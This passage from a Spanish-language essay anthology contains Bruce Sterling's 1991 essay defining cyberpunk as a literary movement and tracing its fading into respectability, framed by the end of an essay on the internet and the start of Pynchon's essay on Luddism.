ciberespacio	 nuestra	 forma	 de	 existencia	 terrenal.	 Y	 como	 fondo	 omnipresente,	 el
negocio,	 pues	 la	 imagen	 idílica	 y	 democrática	 de	 6000	 millones	 de	 computadoras
uniendo	 al	 género	 humano	 colisiona	 contra	 los	 aproximadamente	 600	millones	 de
consumidores	 reales	 que	 importan	 al	 comercio	 electrónico.	 Si	 en	 algunas	 décadas
más	Internet	será	sinónimo	de	una	nueva	economía,	de	inéditas	formas	de	la	acción
política	o	de	un	nuevo	tipo	de	hábitat	que	recién	se	encuentra	en	estado	de	prototipo,
nadie	lo	sabe	aún	con	certeza.	¿Y	si	Internet	desapareciera	en	una	década,	superada
por	 complejas	 formas	 de	 interrelación	 humana	 que	 la	 industria	 biotecnológica
comienza	 a	 prometer	 y	 publicitar	 pero	 que	 aún	 tiene	 que	 inventar?	 A	 la	 fecha	 de
vencimiento	de	la	red	no	se	la	incluye	en	los	manuales	del	usuario.

www.lectulandia.com	-	Página	120



B

Cyberpunk	en	los	noventa[112]

Bruce	Sterling

ruce	Sterling	escribió	novelas	y	cuentos	de	ciencia	ficción,	y	libros	y	columnas	sobre	temas
vinculados	a	la	tecnología.	Junto	a	William	Gibson	fue	una	de	las	figuras	más	destacadas	de

la	 corriente	 cyberpunk	 que	 renovó	 el	 género	 ciencia	 ficción	 a	 comienzos	 de	 los	 ‘80.	Entre	 sus
obras	pueden	mencionarse	Islas	en	la	Red	(1988),	The	Difference	Engine	(1990,	en	colaboración
con	Gibson),	Mirrorshades:	 una	 antología	 ciberpunk	 (1992)	 y	The	Hacker	Crackdown	 (1990),
una	investigación	sobre	la	«cacería»	de	hackers	lanzada	por	el	FBI	en	1989.	Nació	en	1954	y	vive
en	Texas,	Estados	Unidos.

Este	 artículo	 intenta	 definir	 al	 «movimiento	 cyberpunk».	 Salió	 publicado	 en	 la	 revista
Interzone	(Nº	48,	junio	de	1991),	famosa	revista	inglesa	de	fantasy	y	ciencia	ficción	que	se	edita
mensualmente	desde	1982.

En	 esta	 última	 nota	 quisiera	 hablar	 abiertamente	 del	 «cyberpunk»	 —no	 de
cyberpunk	 como	 sinónimo	 de	 delincuente	 informático,	 sino	 de	 cyberpunk,	 el
movimiento	literario.

Hace	unos	años,	en	el	frío	invierno	de	1985	(en	esa	época	solía	haber	inviernos
fríos,	antes	de	que	se	supiera	lo	del	ozono)	apareció	un	artículo	en	Interzone	Nº	14,
con	el	título:	«La	Nueva	Ciencia	Ficción».	Era	el	primer	manifiesto	del	«movimiento
cyberpunk».	El	 artículo	 hacía	 un	 balance	 de	 la	 historia	 y	 los	 principios	 del	 género
ciencia	 ficción;	 el	 término	 «cyberpunk»	 no	 se	 empleaba	 ni	 una	 vez.	 «La	 Nueva
Ciencia	 Ficción»	 se	 publicó	 con	 pseudónimo	 en	 una	 revista	 de	 ciencia	 ficción
británica	que	tenía	muchas	más	ambiciones	que	éxito	de	ventas.	Hace	poco	sacó	una
edición	 con	 tapas	 a	 color	 para	 regocijo	 de	 sus	 lectores.	 Un	 buen	 lugar	 para	 un
manifiesto.

Comparemos	 este	 humilde	 evento	 con	un	 artículo	 reciente,	 «Confesiones	de	un
ex-cyberpunk»,	 de	mi	 amigo	 y	 colega	 Lewis	 Shiner.	 Este	 artículo	 es	 otro	 honesto
intento	 de	 declarar	 muerto	 al	 cyberpunk	 de	 parte	 de	 Alguien-Que-Lo-Vivió.	 El
artículo	de	Shiner	apareció	el	7	de	enero	de	1991	en	The	New	York	Times,	página	de
opinión.

Es	un	buen	lugar	(el	New	York	Times)	también,	pensaría	uno,	pero	ilustrativo	de
la	paradójica	suerte	que	corren	los	«movimientos».	La	avalancha	que	se	desata	por	un
grito	 y	 una	 pala	 en	 algún	 lugar	 de	 la	montaña,	 no	 puede	 contenerse	 con	 la	mano,
aunque	se	disponga	de	una	audiencia	de	varios	millones.

El	«cyberpunk»,	antes	de	que	lo	encasillaran	y	adquiriera	su	fama	siniestra,	era	un
esfuerzo	 generoso,	 abierto,	 en	 contacto	 con	 la	 calle,	 anárquico	 y	 con	 actitud	 de
«házlo-tú-mismo»,	 ethos	 que	 compartía	 con	 las	 bandas	 de	 garage	 de	 los	 ‘70	 de	 la
música	punk.	La	revista	de	propaganda	del	cyberpunk,	 impresa	en	una	sola	página,
Cheap	 Truth,	 se	 repartía	 gratis	 a	 los	 que	 la	 pedían.	 Cheap	 Truth	 nunca	 tuvo
copyright;	se	alentaban	activamente	las	fotocopias.
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Los	 colaboradores	 de	 Cheap	 Truth	 siempre	 usaban	 pseudónimos,	 un	 intento
igualitario	 y	 honesto	 de	 evitar	 cualquier	 culto	 de	 personalidad	 o	 elitismo.	Cheap
Truth	 se	 reía	 de	 los	 «gurús»	 del	 género	 e	 invitaba	 a	 todos	 los	 que	 estuvieran
escuchando	 a	 que	 cargaran	 un	 procesador	 de	 texto	 y	 se	 unieran	 a	 la	 causa.	 Las
ingenuas	propuestas	de	Cheap	Truth	para	la	ciencia	ficción	eran	que	ésta	debía	estar
«viva»,	 ser	 «leíble»	 y	 estar	 «bien	 escrita».	 Pero	 en	 la	 práctica	 no	 era	 tan	 fácil.	 Se
oscurecía	la	visión	por	el	polvo	que	levantaba	la	batalla.

Cheap	Truth	 logró	 un	 éxito	 ambiguo.	 Hubo	 una	 respuesta	 entusiasta	 hacia	 lo
básico:	 la	 ciencia	 ficción	 tenía	 que	 «esforzarse	 más»	 y	 «terminar	 con	 los	 lugares
comunes»	si	quería	conseguir	más	prestigio.	Casi	todos	estaban	de	acuerdo	en	esto	—
pero	no	lo	hacían—.	En	el	género	ciencia	ficción	siempre	fue	más	fácil	obviar	estos
truísmos	para	habitar	en	las	trivialidades	de	la	literatura	comercial:	el	empleo	de	ocho
horas	al	día	en	la	Antigua	Fábrica.	Otros	slogans	«cyberpunk»	muy	de	moda,	como	el
«pensamiento	 imaginativo»	y	el	«conocimiento	 técnico»	también	se	perdieron	en	el
camino.	¡Ay!,	si	fuera	suficiente	con	rezar	unas	oraciones	para	cambiar	un	género,	la
tierra	hubiera	temblado	cuando	Aldiss	y	Knight	expresaron	ideales	muy	parecidos	en
1956.

La	lucha	de	la	ciencia	ficción	por	elevar	su	calidad	venía	de	muy	atrás,	pero	los
escritores	de	Cheap	Truth	eran	demasiado	jóvenes	y	parroquianos	para	estar	al	tanto.
La	cultura	había	cambiado,	y	había	grandes	diferencias.	En	los	‘50	el	«conocimiento
técnico»	podía	ser	inquietante,	pero	también	honesto	y	motivador	—en	los	‘80,	con	la
tecnología	 en	 auge,	 «conocimiento	 técnico»	 remitía	 a	 «éxtasis	 y	 horror»,
directamente—.	 Esta	 rareza	 del	 cyberpunk	 eclipsó	 la	 simplicidad	 de	 su	 Teoría	 y
Práctica.

Los	«escritores	cyberpunk»	empezaron	a	hacerse	famosos,	y	la	idea	original	del
cyberpunk	abierto	y	disponible	para	 todos,	 se	perdió	 en	 las	 sombras.	El	 cyberpunk
fue	 un	 culto	 inmediato,	 probablemente	 la	 definición	 misma	 de	 culto	 en	 la	 ciencia
ficción	moderna.	Hasta	compañeros	de	generación,	que	simpatizaban	con	mucha	de
la	 retórica	 de	 Cheap	 Truth,	 terminaron	 desconfiando	 de	 este	 culto	 —los
«cyberpunks»	se	habían	convertido	en	«gurúes»	del	género.

Es	 asombroso,	 realmente,	 lo	 fácil	 que	 es	 convertirse	 en	 gurú	 de	 un	 género
literario.	Lo	dudoso	es	que	se	logre	algo	con	ese	esfuerzo.	En	realidad,	¿quién	confía
en	los	gurús?	¡Cheap	Truth	nunca	lo	hizo!	En	fin,	tomó	unos	tres	años	deshacer	por
completo	el	Movimiento.	Cheap	Truth	dejó	de	editarse	en	1986.

Quisiera	 pensar	 que	 sirvió	 para	 que	 otros	 no	 repitan	 los	 mismos	 errores.	 En
realidad,	lo	dudo	mucho.

Ruckler,	 Shiner,	 Sterling,	 Shirley	 y	 Gibson	—los	 más	 respetados	 «gurús»	 del
Movimiento,	desfilan	en	el	valioso	artículo	de	Shiner	ante	a	los	cautivados	millones
del	 New	 York	 Times—,	 aunque	 lo	 nieguen,	 ellos	 son	 «cyberpunks».	 Otros
cyberpunks,	 como	 los	 demás	 autores	 que	 participaron	 en	 Mirrorshades:	 una
Antología	Ciberpunk[113]	quizás	puedan	arreglar	cuentas	con	la	bestia,	más	o	menos.
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Pero	esta	indeseable	palabra	«cyber»	seguro	va	a	quedar	grabada	en	nuestras	lápidas.
Son	 inútiles	 las	desmentidas	en	público,	y	puede	que	empeoren	 la	situación.	Ni	 los
cambios	más	vertiginosos	en	nuestro	modo	de	escribir,	o	las	conversiones	al	Islam	o	a
la	Santería	que	hagamos	en	medio	de	crisis	existenciales,	podrán	borrarnos	el	tatuaje
de	«escritores	cyberpunks».

Así,	la	literatura	«cyberpunk»	no	es	más	que	«lo	que	escriben	los	cyberpunks».	Y
eso	 abarca	 mucho.	 Personalmente,	 yo	 siempre	 tuve	 debilidad	 por	 las	 fantasías
históricas;	 Shiner	 escribe	 novelas	 de	 misterio	 y	 thrillers.	 Shirley	 escribe	 terror.	 A
Ruckler	se	lo	vio	por	última	vez	en	algún	lugar	dentro	de	la	Tierra	Hueca.	De	William
Gibson	se	supo	sorpresivamente	que	escribe	cuentos	muy	divertidos.	Pero	eso	no	es
nada.	El	 «Cyberpunk»	no	«morirá»	hasta	 que	 esté	 enterrado	 el	 último	de	nosotros.
Según	los	censos	demográficos	llevará	bastante	tiempo.

Las	 ideas	de	apertura	que	proponía	Cheap	Truth	 fueron	 de	 dudosa	 utilidad	—
pese	al	respaldo	de	Interzone—.	Quizás	los	«principios»	eran	demasiado	generales	y
abstractos,	 demasiado	 arcanos	 e	 inabordables,	 en	 comparación	 a	 las	 marcas	 más
fáciles	 de	 identificar	 del	 género,	 como	 los	 implantes	 cerebrales,	 los	 jeans	 de	 cuero
negros,	 la	 adicción	 a	 las	 anfetaminas.	 Pero	 quizás	 no	 sea	 tarde	 para	 ofrecer	 un
ejemplo	concreto	y	funcional	de	genuina	Weltanschaung	[cosmovisión]	cyberpunk.

Tomen	Frankenstein	 de	 Mary	 Shelley,	 una	 semilla	 del	 género	 ciencia	 ficción.
Desde	 un	 enfoque	 cyberpunk,	 Frankenstein	 es	 ciencia	 ficción	 «Humanista».
Frankenstein	 promueve	 el	 dictum	 romántico	 de	 que	 hay	 Algunas	 Cosas	 Que	 El
Hombre	 No	 Debía	 Saber.	 No	 hay	 meros	 mecanismos	 físicos	 para	 esta	 ley	 moral
superior	—su	funcionamiento	trasciende	la	comprensión	mortal,	es	algo	relativo	a	la
voluntad	divina—.	Hubris	debe	hallar	a	némesis;	esta	es,	sencillamente,	la	naturaleza
de	 nuestro	 universo.	 El	Dr.	 Frankenstein	 comete	 una	 trasgresión	 escalofriante,	 una
afrenta	al	alma	humana,	y	con	memorable	justicia	poética,	es	horriblemente	castigado
por	su	propia	creación,	el	Monstruo.

Ahora	imaginen	una	versión	cyberpunk	de	Frankenstein.	En	esta	obra	imaginaria,
el	 Monstruo	 sería	 el	 proyecto	 que	 lleva	 adelante	 el	 equipo	 de	 Investigación	 y
Desarrollo	 bien	 financiado	 de	 alguna	 corporación	 global.	 El	 Monstruo,	 lo	 mismo
podría	dirigir	su	furiosa	destrucción	sobre	personas	al	azar.	Pero	habiendo	hecho	esto,
no	se	le	permitiría	perderse	en	el	Polo	Norte,	recitando	pensamientos	byronianos.	Los
Monstruos	del	cyberpunk	nunca	se	desvanecen	tan	cómodamente.	Ya	están	sueltos	en
las	calles.	Están	cerca	de	nosotros.	Es	probable	que	«NOSOTROS»	seamos	ellos.	El
Monstruo	acabaría	registrado	bajo	copyright	por	las	nuevas	leyes	genéticas,	y	siendo
fabricado	de	a	miles	en	todo	el	mundo.	En	poco	tiempo	todos	los	Monstruos	estarían
con	empleos	nocturnos	mal	pagos	lavando	pisos	en	restaurantes	fast-food.

En	 el	 universo	 moral	 del	 cyberpunk,	 nosotros	 ya	 sabemos	 Cosas	 Que	 No
Teníamos	Que	Saber.	Nuestros	«abuelos»	sabían	estas	cosas;	Robert	Oppenheimer	en
Los	Álamos	se	convirtió	en	Destructor	de	Mundos	mucho	antes	de	que	apareciéramos
en	 escena.	 En	 el	 cyberpunk,	 la	 idea	 de	 que	 hay	 límites	 sagrados	 para	 la	 acción
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humana	es	simplemente	una	 ilusión.	No	hay	fronteras	sagradas	que	nos	protejan	de
nosotros	mismos.

Nuestra	 situación	 en	 el	 universo	 es	 básicamente	 accidental.	 Somos	 débiles	 y
mortales;	pero	no	es	la	voluntad	de	los	dioses,	es	sólo	la	manera	en	que	las	cosas	se
dan	 por	 el	momento.	Y	 esto	 es	 radicalmente	 insatisfactorio;	 no	 porque	 extrañemos
terriblemente	el	resguardo	de	la	Deidad,	sino	porque	mirado	con	objetividad	el	valle
del	 sufrimiento	 humano	 es	 básicamente	 una	 tristeza.	 La	 condición	 humana	 puede
cambiar,	y	será	cambiada,	y	está	cambiando;	 la	única	pregunta	 real	es	cómo,	y	con
qué	fin.

En	el	cyberpunk,	esta	convicción	«antihumanista»	no	es	simplemente	una	pirueta
para	 enfurecer	 a	 la	 burguesía;	 es	 un	 hecho	 objetivo	 de	 la	 cultura	 a	 fines	 del	 siglo
veinte.	El	cyberpunk	no	inventó	esta	situación;	sólo	la	refleja.

Hoy	 es	 bastante	 común	 ver	 a	 científicos	muy	 circunspectos	 adhiriendo	 a	 ideas
horrorosamente	 radicales:	 nanotecnología,	 inteligencia	 artificial,	 suspensión
criogénica	 de	 los	 muertos,	 descarga	 de	 los	 contenidos	 del	 cerebro…	 La	 manía
hubrística	 está	 suelta	 en	 los	 pasillos	 de	 la	 academia,	 donde	 todo	 el	 mundo	 y	 las
hermanas	de	todo	el	mundo	parecen	tener	un	plan	para	ajustar	el	cosmos	a	sus	oídos.
La	 indignación	moral	de	Stern	es	muy	débil;	 si	 llegara	a	haber	una	diabólica	droga
que	pudiera	extender	nuestras	sagradas	expectativas	de	vida,	por	Dios	otorgadas,	en
cien	años,	el	Papa	sería	el	primero	en	la	fila.

Vivimos	 ya,	 todos	 los	 días,	 por	 medio	 de	 acciones	 atroces	 con	 consecuencias
impredecibles	 para	 el	 mundo	 entero.	 La	 población	mundial	 se	 ha	 duplicado	 desde
1970;	el	mundo	natural,	que	solía	envolver	a	la	humanidad	con	sus	vastos	silencios
góticos,	ahora	es	algo	que	debe	catalogarse	y	protegerse.

Sencillamente,	 ya	 no	 resultamos	 eficaces	 al	 rechazar	 cosas	 que	 no	 lucen
adecuadas.	 Como	 sociedad	 no	 podemos	 ni	 siquiera	 darle	 la	 espalda	 a	 riesgos
abismales	 como	 la	heroína	y	 la	bomba	de	hidrógeno.	Como	cultura,	 amamos	 jugar
con	fuego,	sólo	por	el	placer	de	su	brillo;	y	si	resulta	que	hay	dinero	de	por	medio,	no
hay	nada	que	pueda	contenerlo.	Los	cuerpos	que	se	despiertan	de	Mary	Shelley,	son
los	últimos	de	nuestros	problemas;	algo	muy	cercano	a	eso	ocurre	en	las	guardias	de
cuidados	intensivos	todos	los	días.

El	 pensamiento	 humano	 en	 sí	 mismo,	 bajo	 su	 apariencia	 sin	 precedentes	 de
software	de	computadoras,	se	está	convirtiendo	en	algo	cristalizado,	copiado,	hecho
mercancía.	Incluso	los	interiores	de	nuestro	cerebro	no	son	sagrados;	por	el	contrario,
el	cerebro	humano	es	un	blanco	primario	de	investigaciones	cada	vez	más	exitosas	—
preguntas	 ontológicas	 y	 espirituales,	 sean	 malditas.	 La	 idea	 de	 que,	 bajo	 estas
circunstancias,	 la	Naturaleza	Humana	está	de	alguna	manera	destinada	a	prevalecer
contra	 la	Gran	Máquina,	es	simplemente	 tonta;	 resulta	notoriamente	salida	de	 foco.
Es	como	si	un	roedor	filósofo	en	una	jaula	de	laboratorio,	próximo	a	tener	el	cerebro
agujereado	y	enchufado	en	función	de	la	Gran	Ciencia,	declarara	piadosamente	que	al
final	la	Naturaleza	Roedor	triunfará.
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Cualquier	 cosa	 que	 se	 le	 pueda	 hacer	 a	 una	 rata	 se	 le	 puede	 hacer	 a	 un	 ser
humano.	Y	podemos	hacerle	casi	todo	a	las	ratas.	Éste	es	un	tema	duro	para	pensar,
pero	es	la	verdad.	No	va	a	cambiar	porque	nos	tapemos	los	ojos.

«Esto»	es	cyberpunk.
Lo	 cual	 explica,	 espero,	 por	 qué	 las	 sagas	 de	 aventuras	 de	 ciencia	 ficción

standard,	 de	 cuero	 con	 tachas,	 y	 todo	 el	 cotillón	 cyber,	 no	 pasan	 la	 prueba.	 Lewis
Shiner	se	cansó	de	escritores	que	ofrecen	narcóticos	tiroteos	para	inundar	las	vitrinas
con	 «tics»	 cyberpunk.	 «Algunos	 escritores	 convirtieron	 la	 forma	 en	 fórmula»,	 se
queja	en	The	New	York	Times,	«los	mismos	argumentos	con	finales	predecibles	que
encontramos	 en	 los	 video-juegos	 y	 las	 películas	 de	 videoclub».	 Las	 primeras
convicciones	 de	 Shiner	 apenas	 se	 movieron	 un	 micrón	—pero	 lo	 que	 la	 mayoría
llama	«cyberpunk»	ya	no	satisface	sus	ideales.

En	 mi	 opinión	 estos	 recién-llegados	 son	 un	 tema	 menor.	 Y	 también	 lo	 es	 el
término	«cyberpunk».	Me	complace	ver	que	cada	vez	es	más	difícil	escribir	un	libro
estúpido,	 poner	 la	 palabra	 «cyberpunk»	 en	 él,	 y	 esperar	 a	 que	 se	 venda.	 Con	 la
palabra-C	 desacreditada	 por	 la	 saturación	 de	 estupideces,	 cualquiera	 que	 se	 diga
«cyberpunk»	 ahora	 tiene	 que	 aportar	 su	 propio	 peso.	 Pero	 para	 los	 que	 quieran
hacerlo,	 ya	 no	 es	 negocio.	 Las	 etiquetas	 no	 pueden	 defender	 su	 propia	 integridad;
pero	los	escritores	pueden,	y	los	buenos	lo	hacen.

Hay	otro	aspecto	general	que	me	parece	que	es	importante	para	una	comprensión
real	del	Movimiento.	El	cyberpunk,	como	la	New	Wave	antes	que	él,	fue	una	voz	de
Bohemia.	Vino	del	underground,	de	 los	márgenes,	de	 lo	 joven	y	energético	y	para-
institucional.	 Vino	 de	 gente	 que	 no	 conocía	 sus	 propios	 límites,	 y	 rechazaba	 los
límites	ofrecidos	por	las	costumbres	y	los	hábitos.

No	mucha	 ciencia	 ficción	 es	 realmente	 Bohemia,	 y	 la	 mayoría	 de	 la	 Bohemia
tiene	 poco	 que	 ver	 con	 la	 ciencia	 ficción,	 pero	 hubo,	 y	 hay,	mucho	 que	 ganar	 del
encuentro	 entre	 ambas.	 La	 ciencia	 ficción	 como	 género,	 incluso	 la	 más
«convencional»,	tiene	bastante	de	underground	cultural.	La	ciencia	ficción	influye	en
la	 gran	 sociedad	 exterior;	 y	 como	 la	 difusa	 influencia	 de	 los	 beatniks,	 hippies	 y
punks,	 está	 cuidadosamente	 limitada.	 La	 ciencia	 ficción,	 como	 la	 Bohemia,	 es	 un
lugar	útil	para	poner	a	un	amplio	espectro	de	personas,	donde	sus	 ideas	y	acciones
pueden	probarse,	sin	riesgo	de	poner	esas	ideas	y	acciones	directamente	en	práctica
generalizada.	 La	 Bohemia	 ha	 cumplido	 esta	 función	 desde	 sus	 comienzos	 en	 la
temprana	Revolución	Industrial,	y	la	sabiduría	de	este	esquema	debería	admitirse.	La
mayoría	 de	 las	 ideas	 extrañas	 son	 simplemente	 ideas	 extrañas,	 y	 la	Bohemia	 en	 el
poder	raramente	ha	sido	una	visión	agradable.	Julio	Verne	como	escritor	de	novelas
de	aventuras	es	una	cosa;	Presidente	Verne,	General	Verne,	o	Papa	Verne	es	una	idea
más	inquietante.

El	 cyberpunk	 fue	 una	 voz	 de	 Bohemia	—Bohemia	 en	 los	 ‘80—.	 Los	 cambios
tecno-sociales	 desatados	 en	 nuestra	 sociedad	 contemporánea	 no	 podían	 dejar	 de
afectar	su	contracultura.	El	cyberpunk	fue	la	encarnación	literaria	de	este	fenómeno.
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Y	 el	 fenómeno	 todavía	 está	 creciendo.	 Las	 tecnologías	 de	 la	 comunicación	 en
particular,	se	están	volviendo	mucho	menos	respetables,	mucho	más	volátiles	y	cada
vez	más	en	manos	de	personas	que	no	le	presentarías	a	tu	abuela.

Pero	hoy	debe	admitirse	que	los	cyberpunks	—veteranos	de	la	ciencia	ficción,	en
o	cerca	de	 los	cuarenta,	que	 refinan	pacientemente	su	arte	y	cobran	sus	cheques	de
regalías—	no	son	más	una	Bohemia	underground.	Esto	también	es	una	vieja	historia
en	la	Bohemia;	es	el	castigo	standard	por	el	éxito.	Un	underground	a	la	luz	del	día	es
una	 contradicción	 de	 términos.	 Esta	 respetabilidad	 no	 es	 sólo	 de	 algunos	 casos
aislados,	 los	 abarca	 colectivamente.	Y	en	este	 sentido,	 el	«cyberpunk»	está	 todavía
más	muerto	de	lo	que	Shiner	admite.

El	tiempo	y	las	oportunidades	han	sido	generosos	con	los	cyberpunks,	pero	ellos
mismos	han	cambiado	con	los	años.	Una	doctrina	central	en	la	teoría	del	Movimiento
era	la	«intensidad	visionaria».	Pero	ha	transcurrido	un	largo	tiempo	desde	que	algún
cyberpunk	escribiera	un	cuento	que	realmente	volara-la-cabeza,	algo	que	retorciera,
agitara,	que	aullara,	alucinara	y	moviera	la	estantería.	En	los	últimos	trabajos	de	estos
veteranos,	 vemos	 tramas	 más	 ajustadas,	 mejores	 personajes,	 prosa	 más	 fina,
«futurismo	serio	 e	 introspectivo».	Pero	 también	vemos	menos	cosas	 en	el	 estilo	de
vuelos	espontáneos	y	danzas	alocadas	sobre	las	mesas.	Los	escenarios	se	acercan	más
y	más	 al	 tiempo	 presente,	 perdiendo	 los	 rizados	 barrocos	 de	 la	 fantasía	 suelta:	 los
temas	en	cuestión	se	convierten	en	algo	horriblemente	parecido	a	preocupaciones	de
adultos	 responsables	 de	mediana	 edad.	Y	 esto	 puede	 ser	 espléndido,	 pero	 no	 es	 la
guerra.	A	este	aspecto	vital	de	la	ciencia	ficción	se	ha	abdicado,	y	está	disponible	para
ser	retomado.	El	cyberpunk	simplemente	dejó	de	estar	ahí.

Pero	 la	 ciencia	 ficción	 todavía	 está	 viva,	 todavía	 abierta	 y	 en	 desarrollo.	 Y
Bohemia	no	va	a	irse.	La	Bohemia,	como	la	ciencia	ficción,	no	es	una	moda,	pese	a
que	genera	modas;	 como	 la	ciencia	 ficción,	 la	Bohemia	es	vieja;	 tan	vieja	como	 la
sociedad	 industrial,	 de	 la	 cual	 la	 ciencia	 ficción	 y	 Bohemia	 son,	 ambas,	 partes
integrantes.	 La	 Bohemia	 Cibernética	 no	 es	 una	 aparición	 bizarra;	 cuando	 los
bohemios	cibernéticos	proclaman	que	lo	que	están	haciendo	es	completamente	nuevo,
se	engañan	a	sí	mismos	inocentemente,	sólo	por	ser	jóvenes.

Los	 cyberpunks	 escriben	 sobre	 el	 éxtasis	 y	 los	 peligros	 de	 navegar	 en	 el
ciberespacio	 y	Verne	 escribió	 sobre	 el	 éxtasis	 y	 los	 peligros	 de	Cinco	 semanas	 en
globo,	pero	si	te	mueves	medio	paso	fuera	del	barro	de	las	circunstancias	históricas
puedes	ver	que	ambos	sirven	a	la	misma	básica	función	social.

Obviamente	Verne,	un	gran	maestro,	 todavía	 se	edita,	mientras	que	el	veredicto
está	pendiente	 respecto	del	 cyberpunk.	Y,	por	 supuesto,	Verne	 se	 equivocó	en	 todo
acerca	 del	 futuro,	 salvo	 por	 algunos	 aciertos	 con	 suerte;	 pero	 lo	 mismo	 hará	 el
cyberpunk.	 Julio	 Verne	 terminó	 como	 una	 especie	 de	 rico	 excéntrico	 y	 amada
celebridad	 en	 el	 gobierno	 de	 la	 ciudad	 de	 Amiens.	 Peores	 cosas	 han	 ocurrido,
supongo.

A	 medida	 que	 los	 representantes	 del	 cyberpunk	 consiguen	 una	 legitimidad
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involuntaria,	 se	 hace	 más	 difícil	 pretender	 que	 el	 cyberpunk	 tiene	 algo	 de	 raro	 y
aberrante;	hoy	es	más	fácil	ver	de	dónde	vino,	y	cómo	llegó	hasta	acá.	Y	se	podría
pensar	que	la	reverencia	a	Julio	Verne	es	algo	bizarro	para	un	cyberpunk.	Podría,	por
ejemplo,	decirse	que	 Julio	Verne	era	un	buen	 tipo	que	amaba	a	 su	mamá,	mientras
que	 los	 brutales	 y	 antihumanistas	 cyberpunks	 promueven	 drogas,	 anarquía,
conexiones	cerebrales	y	destrucción	de	todo	lo	sagrado.

Esta	objeción	es	engañosa.	El	Capitán	Nemo	era	un	tecno-anarcoterrorista.	Julio
Verne	repartía	panfletos	radicales	en	1848	cuando	las	calles	de	Paris	estaban	cubiertas
de	muertos.	Pero	Julio	Verne	igual	es	considerado	un	optimista	victoriano	(aquéllos
que	 lo	 han	 leído	 deben	 dudar	 de	 esto),	 mientras	 que	 los	 cyberpunks	 suelen	 ser
considerados	como	nihilistas	(por	aquéllos	que	eligen	y	arman	el	cánon).	¿Por	qué?
Es	el	tenor	de	los	tiempos,	pienso	yo.

Hay	 mucha	 desolación	 en	 el	 cyberpunk,	 pero	 es	 una	 desolación	 honesta.	 Hay
éxtasis,	pero	también	hay	horror.	Mientras	estoy	sentado	aquí,	un	oído	puesto	en	las
noticias	de	la	TV,	oigo	al	Senado	de	EE.	UU.	debatir	sobre	la	guerra.	Y	detrás	de	esas
palabras	 hay	 ciudades	 incendiadas	 y	 multitudes	 laceradas	 por	 granadas	 aéreas,
soldados	con	convulsiones	provocadas	por	el	gas	mostaza	y	sarín.

Esta	generación	tendrá	que	observar	un	siglo	de	maníaca	devastación	y	descuido,
y	lo	sabemos.	Seremos	afortunados	de	no	sufrir	demasiado	por	maltratos	ecológicos
ya	cometidos;	seremos	extremadamente	afortunados	si	no	vemos	a	millones	de	seres
humanos	hermanos	morir	horriblemente	en	televisión	mientras	nosotros	occidentales
nos	sentamos	en	nuestros	livings	comiendo	nuestras	hamburguesas.	Y	esto	no	es	un
tonto	 discurso	 bohemio;	 esto	 es	 una	 afirmación	 objetiva	 sobre	 la	 condición	 del
mundo,	fácil	de	confirmar	para	cualquiera	con	el	coraje	de	mirar	los	hechos.

Estas	perspectivas	deben	y	deberían	afectar	nuestros	pensamientos	y	expresiones
y,	 sí,	 nuestras	 acciones;	 y	 si	 los	 escritores	 cierran	 sus	 ojos	 a	 esto,	 pueden	 crear
entretenimiento,	pero	no	cumplen	con	 los	 requisitos	para	ser	 llamados	escritores	de
ciencia	ficción.	Y	los	cyberpunks	son	escritores	de	ciencia	ficción	—no	de	un	«sub-
género»	o	de	un	«culto»,	sino	de	la	cosa	misma—.	Merecemos	ese	título	y	no	se	nos
debería	privar	de	él.

Pero	 los	 Noventas	 no	 van	 a	 pertenecer	 a	 los	 cyberpunks.	 Vamos	 a	 estar	 ahí
trabajando,	 pero	 no	 somos	 el	 Movimiento,	 ni	 siquiera	 somos	 «nosotros»	 ya.	 Los
Noventas	van	a	pertenecer	a	 la	generación	que	viene,	aquéllos	que	crecieron	en	 los
Ochentas.	Todo	el	poder,	y	la	mejor	suerte	para	el	underground	de	los	Noventas.	No
te	conozco,	pero	sé	que	estás	ahí.	Haz	que	suceda,	puede	hacerse.	Lo	sé.	Yo	estuve
ahí.
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¿Está	bien	ser	un	luddita?[114]

Thomas	Pynchon

homas	Pynchon	 es	 un	 escritor	 norteamericano.	 Nació	 en	 Long	 Island,	 Nueva	 York,	 en
1937.	Estudió	 física	 dos	 años	 en	 la	Universidad	 de	Cornell,	 pero	 abandonó	 para	 estudiar

Literatura.	 Entre	 1960	 y	 1962	 trabajó	 escribiendo	 documentos	 técnicos	 para	 el	 programa	 de
misiles	nucleares	del	gobierno.	En	1963	publicó	V.	su	primera	novela,	por	la	que	recibió	el	premio
de	 la	 Fundación	 William	 Faulkner.	 Desde	 entonces	 su	 fama	 ha	 ido	 creciendo	 hasta	 ser
considerado	uno	de	los	más	grandes	novelistas	vivos	de	su	país.	Logró	evitar	a	la	prensa	durante
todos	 estos	 años,	 por	 lo	 que	 sólo	 se	 lo	 conoce	 a	 través	 de	 unas	 pocas	 fotografías.	En	 1997	 un
periodista	de	la	CNN	logró	tomarle	una	foto	en	la	calle,	pero	Pynchon	negoció	dar	una	entrevista
a	cambio	de	que	su	imagen	no	se	difundiera.	También	escribió,	entre	otros	libros,	El	arco	iris	de
gravedad	(1973),	Vineland	(1990)	y	Mason	y	Dixon	(1997).

Este	artículo	salió	publicado	en	el	diario	The	New	York	Times	el	28	de	octubre	de	1984.

Como	si	el	hecho	de	que	sea	1984	no	bastara,	también	es	el	25.º	aniversario	este
año	 de	 la	 famosa	 Conferencia	 de	 Rede	 de	 C.P.	 Snow,	 «Las	 Dos	 Culturas	 y	 la
Revolución	 Científica»,	 notable	 por	 su	 advertencia	 de	 que	 la	 vida	 intelectual	 en
Occidente	 se	 estaba	 polarizando	 cada	 vez	 más	 entre	 las	 facciones	 «literaria»	 y
«científica»,	 cada	 una	 condenada	 a	 no	 entender	 o	 valorar	 a	 la	 otra.	La	 conferencia
originalmente	 se	 proponía	 tratar	 temas	 como	 la	 reforma	 de	 los	 programas	 de
investigación	en	la	era	del	Sputnik	y	el	rol	de	la	tecnología	en	el	desarrollo	de	lo	que
pronto	se	haría	conocido	como	tercer	mundo.	Pero	fue	la	teoría	de	las	dos	culturas	la
que	llamó	la	atención	de	la	gente.	De	hecho	armó	un	buen	revuelo	en	su	momento.
Algunos	 temas	 de	 por	 sí	 ya	 resumidos,	 se	 simplificaron	 aún	más,	 lo	 cual	 produjo
ciertas	 opiniones,	 tonos	 que	 se	 elevaron,	 incluso	 respuestas	 destempladas,	 llegando
todo	el	asunto	a	adquirir,	aunque	atenuado	por	las	nieblas	del	tiempo,	un	marcado	aire
de	histeria.

Hoy	nadie	podría	salir	impune	de	una	distinción	como	esa.	Desde	1959,	llegamos
